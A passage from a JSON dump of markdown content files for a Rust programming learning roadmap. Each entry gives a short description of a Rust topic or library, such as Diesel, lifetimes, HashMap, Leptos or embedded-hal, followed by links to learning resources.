    "content": "# Diesel\n\nDiesel is a safe, extensible ORM and query builder for Rust that provides compile-time guarantees against SQL injection and type mismatches. It supports PostgreSQL, MySQL, and SQLite with high-level APIs for database operations while maintaining excellent performance and type safety.\n\nVisit the following resources to learn more:\n\n- [@official@Diesel](https://diesel.rs/)\n- [@opensource@Repository](https://github.com/diesel-rs/diesel)\n- [@article@Docs.rs: Diesel](https://docs.rs/diesel/latest/diesel/)\n- [@video@Rust & SQL Databases (With Diesel)](https://www.youtube.com/watch?v=tRC4EIKhMzw)"
  },
  {
    "path": "src/data/roadmaps/rust/content/documenting-with-rustdoc@65nbahPj9qAb9y8dF8Jnd.md",
    "content": "# Documenting with rustdoc\n\nRustDoc is an invaluable tool within the Rust ecosystem for generating comprehensive and user-friendly documentation directly from your source code. By leveraging special documentation comments (starting with `///` for regular comments and `//!` for crate-level comments), developers can embed Markdown-formatted text, code examples, and even doctests directly alongside their functions, modules, and types. RustDoc then processes these comments to produce static HTML pages, making it easy for others (and your future self) to understand how to use your libraries and applications. This integrated approach not only promotes good documentation habits but also ensures that the documentation remains in sync with the codebase.\n\nVisit the following resources to learn more:\n\n- [@official@How to Write Documentation](https://doc.rust-lang.org/rustdoc/how-to-write-documentation.html)\n- [@article@Writing Rust Documentation](https://dev.to/gritmax/writing-rust-documentation-5hn5)"
  },
  {
    "path": "src/data/roadmaps/rust/content/domain-specific-languages-dsls@Kb7KF7JCMaWFz-GuaQmQV.md",
    "content": "# Domain-Specific Languages (DSLs)\n\nDSLs are specialized programming languages for specific domains. Rust macros enable creating DSLs by manipulating syntax trees and defining custom syntax patterns. This allows extending Rust's language capabilities for specialized applications like game development, configuration, or domain-specific tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Domain Specific Languages (DSLs)](https://doc.rust-lang.org/rust-by-example/macros/dsl.html)\n- [@article@Crafting Expressive Tools: Domain-Specific Languages (DSLs)](https://medium.com/@murataslan1/crafting-expressive-tools-domain-specific-languages-dsls-in-rust-94394debe12b)"
  },
  {
    "path": "src/data/roadmaps/rust/content/embedded-and-systems@RKXljexmLAceMYwg4D_uP.md",
    "content": "# Embedded and Systems\n\nRust excels in embedded systems programming for microcontrollers and real-time applications. Its zero-cost abstractions, memory safety, and low-level control make it ideal for resource-constrained environments. Popular for IoT devices, firmware, and system-level programming without garbage collection overhead.\n\nVisit the following resources to learn more:\n\n- [@official@Embedded Devices](https://www.rust-lang.org/what/embedded)\n- [@article@Rust for Embedded Systems](https://medium.com/@enravishjeni411/rust-for-embedded-systems-a-beginner-friendly-guide-e8c171cfb359)\n- [@article@Rust Embedded Systems: Beginner's Guide with Example](https://boxoflearn.com/rust-embedded-systems-guide/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/embedded-hal@LzaO2cpDajXERqEYDjMl_.md",
    "content": "# embedded-hal\n\n`embedded-hal` (Hardware Abstraction Layer) provides generic traits for creating portable embedded drivers in Rust. Enables hardware-agnostic code by abstracting digital I/O, UART, I2C, SPI, and other communication protocols into a uniform API, promoting code reuse across different hardware platforms.\n\nVisit the following resources to learn more:\n\n- [@official@HALs - The Embedded Rust Book](https://doc.rust-lang.org/stable/embedded-book/design-patterns/hal/index.html)\n- [@opensource@A Hardware Abstraction Layer (HAL) for Embedded Systems](https://github.com/rust-embedded/embedded-hal)"
  },
  {
    "path": "src/data/roadmaps/rust/content/enums@FswpjWqqt8-BzUTsDDjel.md",
    "content": "# Enums\n\nAn enum, short for enumeration, is a custom data type that allows you to define a type by enumerating (listing out one-by-one) all of its possible variants. In Rust, if something is one of a given set of possibilities (e.g., `Rock` or `Paper` or `Scissors`), it's probably appropriate to represent that data with an enum, like so: `enum RpsChoice { Rock, Paper, Scissors }`.\n\nAn instance of an `enum` can be one and only one of the enum's declared variants at any given time. Unlike enumerations in some other languages, variants in Rust are not restricted to a singular data type. When you define an `enum`, you can decide for each of its possible variants whether or not that variant will hold additional embedded data; each variant of the enum is also allowed to hold data of completely different types and amounts.\n\nVisit the following resources to learn more:\n\n- [@official@Defining an Enum](https://doc.rust-lang.org/book/ch06-01-defining-an-enum.html)\n- [@article@Understanding and Implementing Enums in Rust](https://towardsdev.com/understanding-and-implementing-enums-in-rust-6eae37b6b5e3)"
  },
  {
    "path": "src/data/roadmaps/rust/content/error-handling@X2gB0m-ZKSC4TJyIcwsMx.md",
    "content": "# Error Handling\n\nRust handles errors through `Result<T, E>` for operations that may fail and `Option<T>` for values that may be absent. `Result` has `Ok(T)` for success and `Err(E)` for errors, while `Option` has `Some(T)` and `None`. Pattern matching and the `?` operator enable elegant error handling and propagation. Rust doesn't use exceptions, eliminating many common error-handling problems.\n\nVisit the following resources to learn more:\n\n- [@official@Error Handling](https://doc.rust-lang.org/book/ch09-00-error-handling.html)\n- [@article@How to Handle Errors in Rust](https://dev.to/nathan20/how-to-handle-errors-in-rust-a-comprehensive-guide-1cco)"
  },
  {
    "path": "src/data/roadmaps/rust/content/explicit-lifetime-annotations@R5HIVS-lyCp9b46aXqx2m.md",
    "content": "# Explicit Lifetime Annotations\n\nExplicit lifetime annotations use syntax like `'a` to specify relationships between reference lifetimes in function signatures. Required when the compiler can't infer lifetimes automatically. Example: `fn longest<'a>(x: &'a str, y: &'a str) -> &'a str` ensures all references live equally long.\n\nVisit the following resources to learn more:\n\n- [@official@Explicit Annotation](https://doc.rust-lang.org/rust-by-example/scope/lifetime/explicit.html)\n- [@article@What are Lifetimes in Rust? Explained with Code Examples](https://www.freecodecamp.org/news/what-are-lifetimes-in-rust-explained-with-code-examples/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/floats@rNHHp1GgmRnKIYlZayi59.md",
    "content": "# Floats\n\nIn Rust, `floats` are a primitive data types used to represent floating-point numbers. They are defined as numerical values with fractional components. Floating-point numbers are represented according to the IEEE-754 standard.\n\nRust supports two types of floating-point numbers: `f32` and `f64`. These are 32-bit and 64-bit in size, respectively.\n\n*   `f32` (_binary32_ type defined in IEEE-754-2008) is a single-precision float, which means is less precise than `f64` type.\n*   `f64` (_binary64_ type defined in IEEE-754-2008) has double precision. The default type is `f64` because on modern CPUs it’s roughly the same speed as `f32` but allows more precision.\n\nBoth `f32` and `f64` represent negative, zero and positive floating-point values.\n\nVisit the following resources to learn more:\n\n- [@official@f32](https://doc.rust-lang.org/std/primitive.f32.html)\n- [@article@IEEE-754 Standard](https://en.wikipedia.org/wiki/IEEE_754)\n- [@article@Floating-Point Types](https://rust-book.cs.brown.edu/ch03-02-data-types.html#floating-point-types)\n- [@video@Rust Tutorial - Floating-Points](https://www.youtube.com/watch?v=t047Hseyj_k&t=335s)"
  },
  {
    "path": "src/data/roadmaps/rust/content/functions-and-method-syntax@5hKJaMKpeFEUi3S1Hpiyk.md",
    "content": "# Functions and Method Syntax\n\nIn Rust, functions are declared using the `fn` keyword. Each function can take a set of input variables with their specified types, and may return data of a specified type. The body of a function is contained within curly braces `{}`. Unlike other languages, in Rust, you don't need to end the last statement in a block with a semicolon; omitting the last semicolon of a block in this way turns the last statement into an expression, and the result of this expression becomes the implicit return value of the block.\n\nVisit the following resources to learn more:\n\n- [@official@Functions](https://doc.rust-lang.org/book/ch03-03-how-functions-work.html)\n- [@article@Rust Functions Explained with Examples](https://boxoflearn.com/rust-functions-complete-guide/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/futures-and-asyncawait-paradigm@kVfBbsOHoixvqb4dYTG3Q.md",
    "content": "# Futures and Async/Await Paradigm\n\nFutures represent asynchronous computations that produce values or errors eventually. The `async/await` syntax provides ergonomic programming over futures, allowing asynchronous code to look synchronous. Futures are lazy and must be polled to make progress, forming the foundation of Rust's async ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@Fundamentals of Asynchronous Programming](https://doc.rust-lang.org/book/ch17-00-async-await.html)\n- [@article@Async/Await in Rust: A Beginner's Guide](https://leapcell.medium.com/async-await-in-rust-a-beginners-guide-8752d2c2abbf)"
  },
  {
    "path": "src/data/roadmaps/rust/content/fyrox@x9bmK_cLYpX0ebwjZUn4R.md",
    "content": "# Fyrox\n\nFyrox is a modern, highly optimized 3D game engine designed specifically for Rust. Leverages Rust's safety and concurrency for high performance and reliability. Features advanced lighting, shadowing, support for common 3D formats, and low-level hardware control for performance-critical applications.\n\nVisit the following resources to learn more:\n\n- [@official@Fyrox - A feature-rich game engine built in Rust](https://fyrox.rs/)\n- [@opensource@FyroxEngine/Fyrox: 3D and 2D game engine written in Rust](https://github.com/FyroxEngine/Fyrox)\n- [@article@Game Development with Fyrox and Rust](https://bocksdincoding.com/blog/game-development-with-fyrox-and-rust-pt-1)"
  },
  {
    "path": "src/data/roadmaps/rust/content/game-development@uG-EmZVZ-jc3mswOT4-7l.md",
    "content": "# Game Development\n\nRust's performance and memory safety make it excellent for game development. Popular engines and frameworks include Bevy (ECS-based), Macroquad, ggez, and Fyrox. Rust handles both 2D and 3D games efficiently, with growing ecosystem support for graphics, audio, and physics.\n\nVisit the following resources to learn more:\n\n- [@official@Fyrox - A feature-rich game engine built in Rust](https://fyrox.rs/)\n- [@article@5 Rust Game Engines to Consider for your Next Project](https://blog.logrocket.com/5-rust-game-engines-consider-next-project/)\n- [@article@Game Development with Fyrox and Rust](https://bocksdincoding.com/blog/game-development-with-fyrox-and-rust-pt-1)"
  },
  {
    "path": "src/data/roadmaps/rust/content/generics--type-level-programming@_hxwo_iAdOwlWBltv7i6i.md",
    "content": "# Advanced Generics and Type-level Programming\n\nAdvanced generics in Rust include `where` clauses for complex bounds, `?Sized` for unsized types, associated types, and higher-kinded types. These enable sophisticated type-level programming, allowing precise control over generic constraints and enabling powerful abstractions while maintaining zero-cost performance.\n\nVisit the following resources to learn more:\n\n- [@official@Generic Types, Traits, and Lifetimes](https://doc.rust-lang.org/book/ch10-00-generics.html)\n- [@official@Generics](https://doc.rust-lang.org/rust-by-example/generics.html)\n- [@official@Generics Data Type](https://doc.rust-lang.org/book/ch10-01-syntax.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/ggez@qquYnrrzUlyd8738jzj1D.md",
    "content": "# ggez\n\n`ggez` is a lightweight 2D game framework for Rust inspired by Love2D. Provides facilities for graphics rendering, input handling, audio manipulation, and game timing with an easy, Rusty interface. Enables developers to focus on game logic without worrying about low-level implementation details.\n\nVisit the following resources to learn more:\n\n- [@official@ggez: Rust Game Thing](https://ggez.rs/)\n- [@article@2D Game Renderer in Rust](https://dev.to/trish_07/2d-game-renderer-in-rust-lets-make-a-mini-rpg-a9h)"
  },
  {
    "path": "src/data/roadmaps/rust/content/gtk-rs@2Zp3m3Y7j6R1hK3DIVdkH.md",
    "content": "# gtk-rs\n\n`gtk-rs` provides Rust bindings for GTK+3 and related libraries (GObject, Glib, Cairo, Pango) enabling cross-platform GUI application development. These open-source libraries offer a Rust-friendly interface for GTK components, allowing developers to create graphical applications using Rust with native GTK functionality.\n\nVisit the following resources to learn more:\n\n- [@official@Unlocking the GNOME stack for Rust](https://gtk-rs.org/)\n- [@opensource@gtk-rs/gtk4-rs: Rust Bindings of GTK 4](https://github.com/gtk-rs/gtk4-rs)"
  },
  {
    "path": "src/data/roadmaps/rust/content/gui-development@T1LlJz5m5wnwBvKAEuGnP.md",
    "content": "# GUI Development\n\nRust offers several GUI frameworks for desktop applications including Tauri (web-based), Iced (inspired by Elm), Druid, GTK-rs, and Egui. These provide cross-platform support for creating native desktop applications with modern UI patterns and performance benefits of Rust.\n\nVisit the following resources to learn more:\n\n- [@article@Rust and GUI Development - Comprehensive Guide](https://rustmeup.com/rust-and-gui-development)\n- [@article@The state of Rust GUI libraries](https://blog.logrocket.com/state-rust-gui-libraries/)\n- [@article@Building Beautiful and Intuitive GUIs with Rust and egui](https://triophore.com/blogs/content/rust-egui-gui-development/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/hashmap@JAgjrf5WDXiorZ6gFRzTc.md",
    "content": "# Hashmap\n\n`HashMap<K, V>` stores key-value pairs using hashing for fast lookups, insertions, and removals. Keys must be unique; duplicate keys replace old values. Rust uses cryptographically strong hashing for security. Items are unordered. Example: `HashMap::new()` or `HashMap::from([(\"key\", \"value\")])`.\n\nVisit the following resources to learn more:\n\n- [@official@HashMap in std::collections](https://doc.rust-lang.org/std/collections/struct.HashMap.html)\n- [@official@Storing Keys With Associated Values In Hash Maps](https://doc.rust-lang.org/book/ch08-03-hash-maps.html?highlight=hashmap#storing-keys-with-associated-values-in-hash-maps)\n- [@article@Hash Table](https://en.wikipedia.org/wiki/Hash_table)\n- [@video@HashMaps: key-value stores in Rust](https://www.youtube.com/watch?v=BfmSYuDdg8Q)"
  },
  {
    "path": "src/data/roadmaps/rust/content/hashset@b1iYy4Hvkj47Q13V2HE4i.md",
    "content": "# Hashset\n\n`HashSet<T>` is a collection of unique elements using hash-based storage for fast lookups, insertions, and deletions. No duplicates are allowed and elements are unordered. Provides methods like `insert()`, `contains()`, and `remove()`. Example: `let mut set = HashSet::new(); set.insert(\"value\");`\n\nVisit the following resources to learn more:\n\n- [@official@HashSet in std::collections](https://doc.rust-lang.org/std/collections/struct.HashSet.html)\n- [@official@Hashset](https://doc.rust-lang.org/rust-by-example/std/hash/hashset.html)\n- [@video@Rust HashSet Collection Type](https://www.youtube.com/watch?v=KYw3Lnf0nSY&t=1440s)"
  },
  {
    "path": "src/data/roadmaps/rust/content/hyper@-MiN5ytI43EjgmWV55BhU.md",
    "content": "# hyper\n\nHyper is a fast, safe HTTP client/server library for Rust built on Tokio for async I/O. It supports HTTP/1 and HTTP/2 with automatic protocol negotiation. Hyper provides low-level HTTP primitives that power many higher-level web frameworks and serves as the foundation for efficient network programming.\n\nVisit the following resources to learn more:\n\n- [@official@Hyper.rs](https://hyper.rs/)\n- [@article@Hyper Documentation](https://docs.rs/hyper/latest/hyper/)\n- [@article@Creating a Basic HTTP Server in Rust using Hyper](https://medium.com/@ajay.bhatia/creating-a-basic-http-server-in-rust-using-hyper-a-step-by-step-tutorial-459b48d61151)"
  },
  {
    "path": "src/data/roadmaps/rust/content/ides-and-rust-toolchains@oyP1ZyOgDC4nYEQXHwdVQ.md",
    "content": "# IDEs and Rust Toolchains\n\nFor the Rust Programming Language, several Integrated Development Environments (IDEs) and editors provide great support. Visual Studio Code is highly preferred among Rust developers due to its support for Rust via the \"Rust Language Server\" or \"rust-analyzer\" plugins. Another popular choice is RustRover, a dedicated IDE for Rust development by JetBrains, and the Zed Editor, which offers native support for Rust. Additionally, Sublime Text with respective Rust-enhancement plugins are also used. For a more terminal-centric approach, Vim and Emacs are equipped with Rust modes. These IDEs and editors offer various features like auto-completion, syntax highlighting, and debugging tools which prove useful for Rust programming.\n\nVisit the following resources to learn more:\n\n- [@official@Visual Studio Code](https://code.visualstudio.com)\n- [@official@RustRover](https://www.jetbrains.com/rust/)\n- [@official@Zed Editor](https://zed.dev)\n- [@official@Vim](https://www.vim.org)\n- [@official@Emacs](https://www.gnu.org/software/emacs/)\n- [@official@Sublime Text](https://www.sublimetext.com)"
  },
  {
    "path": "src/data/roadmaps/rust/content/impl-blocks@HzWHDQZjA9OgVZEWrmhKf.md",
    "content": "# Impl Blocks\n\nImpl blocks use the `impl` keyword, and are used to **implement** behavior in the form of **methods** for a `struct`, `enum`, or `trait`. If you want your data type or trait to have methods, you need a corresponding `impl` block containing functions for the type or trait.\n\nNote that `self` and `Self` have different meanings in the context of an `impl` block's functions. `self` represents the specific value in your program that's calling the method and passing itself as an argument, while `Self` is syntax sugar for the `impl` block's data type, which is commonly used in constructor methods that return a new instance of the type.\n\nVisit the following resources to learn more:\n\n- [@official@Keyword impl](https://doc.rust-lang.org/std/keyword.impl.html)\n- [@article@Method Syntax](https://rust-book.cs.brown.edu/ch05-03-method-syntax.html)\n- [@article@Rust: Understanding Structs and impl Blocks with 10 Examples](https://medium.com/@TechSavvyScribe/rust-understanding-structs-and-impl-blocks-with-10-examples-20371f90b1ed)"
  },
  {
    "path": "src/data/roadmaps/rust/content/installing-rust-and-cargo@-IqA02ObYvXPW1ot6t_b9.md",
    "content": "# Installing Rust and Cargo\n\nTo install Rust, navigate to the rust official website and download the appropriate installation file (or run the appropriate terminal command) for your operating system. You'll be installing `rustup`, which is the preferred tool for installing, updating, and managing your core Rust tooling. For UNIX systems like Linux and MacOS, installation is as easy as running a single command in the terminal. For Windows, you'll be provided with an '.exe' installer which you need to execute. Further instructions can be found on the download page of the website.\n\nVisit the following resources to learn more:\n\n- [@official@Rust Programming Language](https://www.rust-lang.org)\n- [@official@Install Rust](https://www.rust-lang.org/tools/install)\n- [@official@Installation - The Rust Programming Language](https://doc.rust-lang.org/book/ch01-01-installation.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/integers@FHZSxSiOZYNBEz6tu8wuF.md",
    "content": "# Integers\n\nIn Rust, integers are a primitive data type that hold whole number values, both positive and negative. Integer types in Rust can be divided into signed and unsigned ones:\n\n*   Signed integers, denoted by \"i\", are those that can hold negative, zero, and positive values.\n*   Unsigned integers, denoted by \"u\", only hold zero and positive values.\n\nVisit the following resources to learn more:\n\n- [@official@Integer Data Type in Rust](https://doc.rust-lang.org/book/ch03-02-data-types.html#integer-types)\n- [@official@Machine-dependent Integer Types](https://doc.rust-lang.org/reference/types/numeric.html#machine-dependent-integer-types)\n- [@article@Rust Data Types (With Examples)](https://www.programiz.com/rust/data-types#integer-type)\n- [@article@Integer Types](https://rust-book.cs.brown.edu/ch03-02-data-types.html#integer-types)"
  },
  {
    "path": "src/data/roadmaps/rust/content/introduction@4U-HZQGH7kaWCB94Xy8Mh.md",
    "content": "# Introduction\n\nRust is a modern system programming language focused on performance, safety, and concurrency. It accomplishes these goals without having a garbage collector, making it a useful language for a number of use cases other languages aren’t good at. Its syntax is similar to C++, but Rust offers better memory safety while maintaining high performance.\n\nVisit the following resources to learn more:\n\n- [@official@Rust Programming Language](https://www.rust-lang.org/)\n- [@official@Rust by Example](https://doc.rust-lang.org/stable/rust-by-example/index.html)\n- [@opensource@Rust Book](https://edu.anarcho-copy.org/Programming%20Languages/Rust/rust-programming-language-steve-klabnik.pdf)\n- [@opensource@Rust Book Interactive](https://rust-book.cs.brown.edu/experiment-intro.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/json-rust@ZXMKY0f7mqqlsvyH9u-LM.md",
    "content": "# json-rust\n\nJSON handling in Rust primarily uses `serde` and `serde_json` libraries for high-performance serialization/deserialization. These provide seamless conversion between Rust data structures and JSON, with parsing from strings/files, serialization to JSON, and direct manipulation of JSON values.\n\nVisit the following resources to learn more:\n\n- [@official@Serde](https://serde.rs/)\n- [@opensource@serde-rs/serde: Serialization framework for Rust](https://github.com/serde-rs/serde)\n- [@article@Docs.rs: JSON](https://docs.rs/json/latest/json/)\n- [@feed@Explore top posts about Rust](https://app.daily.dev/tags/rust?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/rust/content/language-basics@6E4pGifNfSAq6SbzfzFNT.md",
    "content": "# Language Basics\n\nRust language basics cover fundamental programming concepts including syntax and semantics, variables and data types, control flow (loops and conditionals), and functions. These elements form the foundation for writing effective Rust code and understanding how to structure and reuse code segments.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction - Rust By Example](https://doc.rust-lang.org/stable/rust-by-example/)\n- [@article@How to Learn Rust in 2025: A Complete Beginner's Guide](https://blog.jetbrains.com/rust/2024/09/20/how-to-learn-rust/)\n- [@feed@Explore top posts about Rust](https://app.daily.dev/tags/rust?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/rust/content/leptos@n5t3MUqmvrcr36VIIOw0u.md",
    "content": "# Leptos\n\nLeptos is a rust based web framework that lets you build reactive UIs with Rust and WebAssembly. It supports SSR and CSR, fine-grained reactivity, and a rich ecosystem of libraries and tools. Leptos lets you build web applications with client-side rendering, server-side rendering, or hydration.\n\nVisit the following resources to learn more:\n\n- [@official@Home - Leptos](https://www.leptos.dev/)\n- [@official@Introduction - Leptos Documentation](https://book.leptos.dev/)\n- [@opensource@leptos-rs/leptos: Build fast web applications with Rust](https://github.com/leptos-rs/leptos)"
  },
  {
    "path": "src/data/roadmaps/rust/content/lifetime-elision-rules@qJI8GObmsxyc_tTtUEOAd.md",
    "content": "# Lifetime Elision Rules\n\nLifetime elision allows the compiler to infer lifetimes in common patterns, reducing explicit annotations. Rules: each reference parameter gets its own lifetime, single input lifetime applies to all outputs, methods with `&self` propagate its lifetime to outputs. Simplifies code while maintaining safety.\n\nVisit the following resources to learn more:\n\n- [@official@Lifetime Elision](https://doc.rust-lang.org/reference/lifetime-elision.html)\n- [@article@Understanding Lifetime Elision in Rust](https://masteringbackend.com/posts/understanding-lifetime-elision-in-rust)"
  },
  {
    "path": "src/data/roadmaps/rust/content/lifetimes--borrow-checker@UZ56NKloehcxUFNuSeO19.md",
    "content": "# Lifetimes and Borrow Checker\n\nLifetimes define how long references remain valid, preventing dangling references and memory safety issues. The borrow checker enforces these rules at compile time. Lifetime annotations use syntax like `'a` to specify relationships between references in function signatures when the compiler can't infer them automatically.\n\nVisit the following resources to learn more:\n\n- [@official@Lifetimes](https://doc.rust-lang.org/rust-by-example/scope/lifetime.html)\n- [@article@Mastering Lifetimes in Rust: Memory Safety and Borrow Checking](https://leapcell.medium.com/mastering-lifetimes-in-rust-memory-safety-and-borrow-checking-4a8c082a54ee)\n- [@video@Crust of Rust: Lifetime Annotations](https://youtu.be/rAl-9HwD858)"
  },
  {
    "path": "src/data/roadmaps/rust/content/linkedlist@iR0ewc2yURqS7bfMWfoBi.md",
    "content": "# LinkedList\n\n`LinkedList<T>` is a doubly-linked list where each node contains a value and pointers to both next and previous nodes. Provides O(1) insertion/removal at both ends but O(n) indexing. Generally slower than `Vec` and rarely needed; `VecDeque` is usually preferred for queue operations.\n\nVisit the following resources to learn more:\n\n- [@official@LinkedList in std::collections](https://doc.rust-lang.org/std/collections/struct.LinkedList.html)\n- [@article@Too Many Linked Lists](https://rust-unofficial.github.io/too-many-lists/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/loco@GnSBtZoN9mAehRf5Eczng.md",
    "content": "# Loco\n\nLoco is a web framework for Rust that is inspired by Ruby on Rails, designed to help developers build MVC-style applications easily. It emphasizes simplicity, rapid development, and integrates features like ORM, background jobs, and templating engines for a productive coding experience.\n\nVisit the following resources to learn more:\n\n- [@official@Loco.rs - Productivity-first Rust Fullstack Web Framework](https://loco.rs/)\n- [@official@The Loco Guide - Loco.rs](https://loco.rs/docs/getting-started/guide/)\n- [@article@Getting Started with Loco in Rust](https://www.shuttle.dev/blog/2023/12/28/using-loco-rust-rails)"
  },
  {
    "path": "src/data/roadmaps/rust/content/macroquad@EtKhe3lgK3NoiBOjXRb2O.md",
    "content": "# macroquad\n\nMacroquad is a simple, cross-platform 2D game engine for Rust focusing on rapid prototyping and development. Features efficient rendering via miniquad, input handling, coroutine-based async programming, and sound support. Portable across Windows, macOS, Linux, WebAssembly, Android, and iOS.\n\nVisit the following resources to learn more:\n\n- [@official@Macroquad](https://macroquad.rs/)\n- [@official@Macroquad Documentation](https://macroquad.rs/docs/)\n- [@article@Rust: Create A Clicker Game With Macroquad](https://dev.to/flavius_the_0th/rust-create-a-clicker-game-with-macroquad-1820)"
  },
  {
    "path": "src/data/roadmaps/rust/content/macros--metaprogramming@eTpZXd8E2jVBmk_aSLZYV.md",
    "content": "# Macros and Metaprogramming\n\nMacros are code that writes code, enabling metaprogramming in Rust. Declarative macros use `macro_rules!` for pattern-based code generation, while procedural macros provide custom derives and function-like macros. They're expanded at compile time, offering zero-cost abstractions.\n\nVisit the following resources to learn more:\n\n- [@official@Macros](https://doc.rust-lang.org/book/ch20-05-macros.html)\n- [@official@macro_rules!](https://doc.rust-lang.org/rust-by-example/macros.html)\n- [@article@Macros in Rust: A Tutorial with Examples](https://blog.logrocket.com/macros-in-rust-a-tutorial-with-examples/)\n- [@article@Metaprogramming Magic in Rust: The Complete Guide](https://elitedev.in/rust/metaprogramming-magic-in-rust-the-complete-guide-/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/mocking--property-based-testing@HEqfA6An6ZeT3z4R610en.md",
    "content": "# Mocking and Property-based Testing\n\nMocking creates fake functions/objects for testing different scenarios. Rust uses external libraries like `mockito`, `mockall`, and `mockall_double` for mocking capabilities. Property-based testing generates test cases automatically to verify code behavior across a wide range of inputs.\n\nVisit the following resources to learn more:\n\n- [@article@Docs.rs: mockito](https://docs.rs/mockito/latest/mockito/)\n- [@article@Docs.rs: mockall](https://docs.rs/mockall/latest/mockall/)\n- [@article@Docs.rs: mockall_double](https://docs.rs/mockall_double/latest/mockall_double/)\n- [@article@Mocking in Rust: Mockall and alternatives](https://blog.logrocket.com/mocking-rust-mockall-alternatives/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/rust/content/modules--crates@Zpowr_NGd-E2DC3g-oW9h.md",
    "content": "# Modules and Crates\n\nModules provide namespacing and encapsulation within a crate, organizing code with `mod` keyword and controlling visibility with `pub`. Crates are compilation units (binaries or libraries) that can depend on other crates. The module system organizes code within crates, while crates enable sharing functionality between projects.\n\nVisit the following resources to learn more:\n\n- [@official@Crates](https://doc.rust-lang.org/rust-by-example/crates.html)\n- [@official@Managing Growing Projects with Packages, Crates, and Modules](https://doc.rust-lang.org/book/ch07-00-managing-growing-projects-with-packages-crates-and-modules.html)\n- [@article@How It Works: Rust's Module System Finally Explained](https://confidence.sh/blog/rust-module-system-explained/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/mutex@GbbeV3r27IBEKHyiyLqs6.md",
    "content": "# Mutex\n\n`Mutex<T>` (Mutual Exclusion) protects shared data from concurrent access by multiple threads. Only one thread can access the protected data at a time through `lock()`. Rust automatically unlocks mutexes when they go out of scope and handles panics to prevent deadlocks.\n\nVisit the following resources to learn more:\n\n- [@official@Mutex](https://doc.rust-lang.org/std/sync/struct.Mutex.html)\n- [@article@Rust Mutex: From Basics to Advanced Techniques](https://medium.com/@TechSavvyScribe/rust-mutex-from-basics-to-advanced-techniques-56e1f1389d9b)\n- [@article@Rust Concurrency Made Easy: A Guide to Arc and Mutex](https://www.ruststepbystep.com/rust-concurrency-made-easy-a-guide-to-arc-and-mutex/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/networking@3pL0ARqk8uRNimopHSalW.md",
    "content": "# Networking\n\nRust's `std::net` module provides networking primitives including `TcpStream`, `TcpListener`, `UdpSocket`, and address types. Built on BSD sockets, it offers low-level network operations for building networking applications. Higher-level crates like Tokio provide async networking capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@std::net](https://doc.rust-lang.org/std/net/)\n- [@official@TcpListener](https://doc.rust-lang.org/std/net/struct.TcpListener.html)\n- [@official@UdpSocket](https://doc.rust-lang.org/std/net/struct.UdpSocket.html)\n- [@official@TcpStream](https://doc.rust-lang.org/std/net/struct.TcpStream.html)\n- [@article@Networking Fundamentals in Rust](https://medium.com/@murataslan1/networking-fundamentals-in-rust-525dcfbd5058)"
  },
  {
    "path": "src/data/roadmaps/rust/content/nrf-hal@ETYrk0s5Wn80XyntNG_t1.md",
    "content": "# nrf-hal\n\n`nrf-hal` is a Rust Peripheral Access Crate for Nordic Semiconductor nRF52 and nRF91 series chips. Provides high-level, semantic interfaces for GPIO, timers, RNG, RTC, I2C/SPI, temperature sensors, and delay routines. Open-source Apache licensed library abstracting direct register access.\n\nVisit the following resources to learn more:\n\n- [@official@nRF-HAL — embedded dev in Rust](https://lib.rs/crates/nrf-hal)\n- [@opensource@nrf-rs/nrf-hal](https://github.com/nrf-rs/nrf-hal)\n- [@article@What the HAL? The Quest for Finding a Suitable Embedded Rust HAL](https://dev.to/theembeddedrustacean/what-the-hal-the-quest-for-finding-a-suitable-embedded-rust-hal-2i02)"
  },
  {
    "path": "src/data/roadmaps/rust/content/option-and-result-enumerations@wQHkBydWsiGEOZMdKmz40.md",
    "content": "# Option & Result Enumerations\n\n`Option<T>` handles nullable values with `Some(T)` and `None` variants, replacing null pointers safely. `Result<T, E>` manages error handling with `Ok(T)` for success and `Err(E)` for failures. Both enums enable safe error handling through pattern matching and method chaining.\n\nVisit the following resources to learn more:\n\n- [@official@Option & unwrap](https://doc.rust-lang.org/rust-by-example/error/option_unwrap.html)\n- [@official@Result](https://doc.rust-lang.org/rust-by-example/error/result.html)\n- [@article@Error Handling in Rust - Andrew Gallant's Blog](https://burntsushi.net/rust-error-handling)\n- [@article@Using unwrap() in Rust is Okay - Andrew Gallant's Blog](https://burntsushi.net/unwrap/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/ownership-rules--memory-safety@2UQ3AuGkDbT0-54l0rOGM.md",
    "content": "# Ownership Rules and Memory Safety\n\nRust's ownership has three key rules: each value has exactly one owner, only one owner exists at a time, and values are dropped when owners go out of scope. This prevents data races, ensures memory safety without garbage collection, and eliminates common bugs like use-after-free and memory leaks.\n\nVisit the following resources to learn more:\n\n- [@official@What is Ownership?](https://doc.rust-lang.org/book/ch04-01-what-is-ownership.html)\n- [@article@Rust Ownership & Borrowing - Memory Safety Without Garbage](https://webreference.com/rust/ownership/)\n- [@article@What Is Ownership?](https://rust-book.cs.brown.edu/ch04-01-what-is-ownership.html)\n"
  },
  {
    "path": "src/data/roadmaps/rust/content/ownsership-rules--memory-safety@2UQ3AuGkDbT0-54l0rOGM.md",
